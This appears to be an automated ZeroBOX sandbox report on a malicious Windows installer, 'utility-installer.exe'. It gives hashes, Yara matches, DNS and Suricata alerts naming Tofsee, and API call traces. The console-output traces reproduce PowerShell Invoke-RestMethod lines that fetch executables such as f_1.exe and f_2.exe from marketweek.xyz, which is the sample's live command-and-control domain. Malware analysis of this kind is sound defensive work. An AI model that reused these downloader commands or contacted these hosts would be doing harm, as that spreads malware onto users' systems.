popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

utility-installer.exe

Generic Malware Malicious Library Antivirus UPX PE64 MZP Format DLL OS Processor Check PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 4, 2024, 11:14 a.m. Oct. 4, 2024, 11:25 a.m.
Size 1.7MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 05bf0fb13746875a2b7b9082200f7dc0
SHA256 955b87b1362a37b052336359fddca6da6a6115ae29ac9485c48bf10238bda79d
CRC32 6981D505
ssdeep 24576:s7FUDowAyrTVE3U5F/9GqKRuKic6QL3E2vVsjECUAQT45deRV9Rj:sBuZrEUQGKIy029s4C1eH9x
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file
  • mzp_file_format - MZP(Delphi) file format
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
carriagesun.xyz
A 104.21.40.214
A 172.67.188.99
172.67.188.99
marketweek.xyz
A 172.67.211.92
A 104.21.93.149
172.67.211.92
IP Address Status Action
164.124.101.2 Active Moloch
172.67.188.99 Active Moloch
172.67.211.92 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49176 -> 172.67.211.92:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49164 -> 172.67.188.99:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49176
172.67.211.92:443 		C=US, O=Google Trust Services, CN=WE1 CN=marketweek.xyz 30:7f:b7:8c:f9:69:12:0f:96:f2:5e:4e:bd:40:11:2d:ee:25:0c:c5
TLSv1
192.168.56.103:49164
172.67.188.99:443 		C=US, O=Google Trust Services, CN=WE1 CN=carriagesun.xyz 0c:53:11:1c:34:df:ab:25:76:d8:db:8d:49:a0:c3:d9:61:87:88:c6

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1:2 char:18
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Invoke-RestMethod <<<< -URI "https://marketweek.xyz/julkiuf?tid=50784292&pid
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: =4134&a=2910&cc=KR&t=1728008627" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: start"
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], C
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x000000c7
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1:10 char:18
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: + Invoke-RestMethod <<<< -URI "http://marketweek.xyz/kuiffghhy?paw=482857&spot
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: =&a=2910&on=470&o=1695" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "f_1.exe"
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], C
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1:31 char:20
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + Invoke-RestMethod <<<< -URI "http://marketweek.xyz/rlo.php?d=b&msg="
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: +$errCode+"&r=offer_execution_fail&ko=no&o=1695&a=2910&dn=470&spot=1&t=17280086
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: 27" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "stat"
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], C
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x000000c7
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1:42 char:18
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: + Invoke-RestMethod <<<< -URI "http://marketweek.xyz/kuiffghhy?paw=999853&spot
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: =&a=2910&on=466&o=1693" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "f_2.exe"
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], C
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x0000012f
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x0000013b
1 1 0

WriteConsoleW

 buffer: th was included, verify that the path is correct and try again.
console_handle: 0x00000147
1 1 0

WriteConsoleW

 buffer: At C:\Users\test22\AppData\Local\Temp\is-H4IH6.tmp\onesave.ps1:70 char:20
console_handle: 0x00000153
1 1 0

WriteConsoleW

 buffer: + Invoke-RestMethod <<<< -URI "http://marketweek.xyz/rlo.php?d=b&msg="
console_handle: 0x0000015f
1 1 0

WriteConsoleW

 buffer: +$errCode+"&r=offer_execution_fail&ko=no&o=1693&a=2910&dn=466&spot=2&t=17280086
console_handle: 0x0000016b
1 1 0

WriteConsoleW

 buffer: 27" -UserAgent "InnoDownloadPlugin/1.5" -OutFile "stat"
console_handle: 0x00000177
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : ObjectNotFound: (Invoke-RestMethod:String) [], C
console_handle: 0x00000183
1 1 0

WriteConsoleW

 buffer: ommandNotFoundException
console_handle: 0x0000018f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x0000019b
1 1 0

WriteConsoleW

 buffer: The term 'Invoke-RestMethod' is not recognized as the name of a cmdlet, functio
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: n, script file, or operable program. Check the spelling of the name, or if a pa
console_handle: 0x000001c7
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0055f470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d51f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d51f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d51f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d5478
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d51f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d53b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d54f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d55b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d55b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00607e58
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .itext
section .didata
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
TMethodImplementationIntercept+0x1fcbea dbkFCallWrapperAddr-0x21bde utility-installer+0x2b2a62 @ 0x6b2a62
TMethodImplementationIntercept+0x1fcbea dbkFCallWrapperAddr-0x21bde utility-installer+0x2b2a62 @ 0x6b2a62
TMethodImplementationIntercept+0x2108fc dbkFCallWrapperAddr-0xdecc utility-installer+0x2c6774 @ 0x6c6774
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xeedfade
exception.offset: 46887
exception.address: 0x7559b727
registers.esp: 1637804
registers.edi: 0
registers.eax: 1637804
registers.ebp: 1637884
registers.edx: 0
registers.ebx: 2
registers.esi: 2
registers.ecx: 7
1 0 0
suspicious_features GET method with no useragent header suspicious_request GET https://marketweek.xyz/endroipe?tid=50784292&pid=4134&a=2910&cc=KR&t=1728008627
request HEAD https://carriagesun.xyz/pe/start/index.php?a=2910&p=4134&t=50784292
request GET https://carriagesun.xyz/pe/start/index.php?a=2910&p=4134&t=50784292
request GET https://marketweek.xyz/endroipe?tid=50784292&pid=4134&a=2910&cc=KR&t=1728008627
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1836
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1836
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 745472
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00401000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1836
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004c4000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1836
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 73728
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x004c6000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1940
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00750000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 393216
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02490000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2228
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e31000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2228
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72e32000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02522000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x024b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02523000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02524000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02597000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0251b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02542000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02595000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02525000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0254c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02820000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02526000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0259c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02543000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02544000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02545000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02546000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02547000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02548000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02549000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2228
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
